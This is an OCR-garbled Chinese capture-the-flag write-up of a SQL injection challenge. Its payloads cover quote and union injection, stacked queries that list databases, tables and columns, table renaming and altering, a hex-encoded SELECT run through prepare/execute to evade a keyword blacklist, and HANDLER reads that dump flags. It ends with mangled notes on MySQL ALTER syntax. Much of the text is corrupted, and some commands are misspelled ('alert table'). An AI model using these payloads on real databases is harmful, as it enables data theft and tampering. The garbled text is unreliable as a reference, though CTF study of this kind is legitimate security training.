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1, WK 1" or 1=1 # W HEFESQLEN .

1 1=1

BN | mzEa

array(2) {

[0]=>

string(1l) “17

[1]=>

string(7) “hahahah”

1
!

arrayv(2) {

[0]=>
string(l) "2”
[1]=>
string(12) "miaomiacmiac”
}
arrayv(2) {
[0]=>
string(6) “114514"
[1]=>
string(2) “ys”
1
}
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array (2) {

[0]=>

string (1) "17

[1]=>

string(7) “hahahah”
}

B 2R unionfE N B B T T JE K87,

1’ union select 1,2#

£ TH EEE<S

return preg match(”/select update delete|drop| insert where \./i”, $inject);

RERRSRFZSPIF LA ESIENT .
JRERFE R, BMEET,; STEALLSQLESR].
i@ id show databases# H $iE .

'; show databases;

‘

SR J5 F show tables &% .

‘

'; show tables;

AUERXBEAEHENER, BAGZEL BwordsRIHE .
1'; show columns from words;
SRIEIRE 1919810931114514 FIN -

REZE—MAIRA, REANBFH, EARSSEERER.

©'; show columns from ~1919810931114514 " ;

AR IR LR T flag7 B, RMEX TlagZLrik, REEFEHNANGHwriteup T, BFEKFE.

fifFR BB«
58 P #£201 OBE (& VE

1, @id rename 463 words Kk N HEMKIRL .
2, 8 1919810931114514 K ¥4 FH N words .
3, %5# words RINIMFHIFIA id .

4, ¥ flag %A data »

1'; rename table words to wordl; rename table "1919810931114514° to words; alert table words

add id int unsigned not Null auto_increment primary key ; alert table words change flag data

varchar(100);
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arrav(2) {
[0]=>
string (42) “flag{d72af29e-7129-40d0-9871-79ae4761beb4}”
[1]1=>
string (1) 17
}

IR B2, P
F Aselectil T T, PFrilse¥iselect * from 1919810931114514 4T 1653 HmAg

Hi#EdHWi&payloads

SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a;execute execsq

1

# 18 2lflag

prepare...from... R b EER, XHATRDEH.
execute)ﬂﬂ%’a‘ﬂ%ﬁEESQLPrepareﬁ'JEEI’JSQL E4],
SELECTH LAE— 2% 18 4] L xd £ AR B R A, T SET R e — k0 — MR B IRME .

Hiﬁﬂ"ﬂ:fkﬁ K msiE, R

£ EESES
array (1) {

[0]=>

string(38) “flag{c168d583ed0d4d7196967b28cbd0b5e9}”
}

R EE3: handler
ERBRZEH TITIHEKKLEE, BEE—Ewebblack listfd Bt XEBHIBELR, Ui EEMAER. « « BRAEKT
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ES T EEzEs

arrav(2) {

[0]=>

string (1) 17

[1]=>

string(7) “hahahah”
}

array(l) {

[0]=>

string (42) “flag{3e4238ff-f349-42d2-9d03-c58a75134b22}”
1

1'; handler "FlagHere  open as "a ; handler "a  read next

Ja RAEbuu E BT KIL T payload2, SRNER F—ri:
Black list is so weak for you, isn't it

B

1': handler] ‘ BEFEH

arrav(2) {
[0]=>
string (1) 17
[1]=>
string(7) “hahahah”

array(l) {

[0]=>

string (42) “"flag{b1785318-8d6c—4234-hb81d-4a6812f6acch}”
1

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE

EANFIEFRIFEEH TIXEM, payload:

1'; handler ~1919810931114514° open as "a ; handler "a  read next
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show

FEILUE T select fl where MG T, &R LM show KRIBHEIEESR, R4, M4,
show datebases; /%5 FE .

show tables; /&4 .

show columns from table; /7B »

alert
ER: BHEMENS. (HMN: add |[¥&ik: alert, change |##45: drop )

R
Hm—A51

alter table add type;

Bz —451

alter table drop type;

27 i K R R

alter table alter column type;

H54

alter table change

alter table rename

SQLAR  (H5E 2 b HodE M D

not null- F&RIEFAREFFRE NULL fH.
alter table persons modify age int not null;
alter table person modify age int null;

primary key - NOT NULL 1 UNIQUE 456 . fEE £, HRES (REAFINEE) AE—nR, BIMRGERE - ER.

alter table persons add age primary key (id)

unique -fRIEFEF AT LA ME— BB, (F: AT 24 UNIQUE 43R, HEEE —1 PRMARYKEY 43R, )

alter table person add unique (id);

check-PR 1l 51 & HITEE .

alter table person add check (id>9);

default-Hi % 3576 45 51 WA N A BRIAEL

alter table person alter city set default

alter table person add constraint ab_c default for city;

auto_increment-H Zh &, BRIAM1FFEH.
foreign key-fRiE—ANR H IR UL 55 — AR F NE S IR e 8
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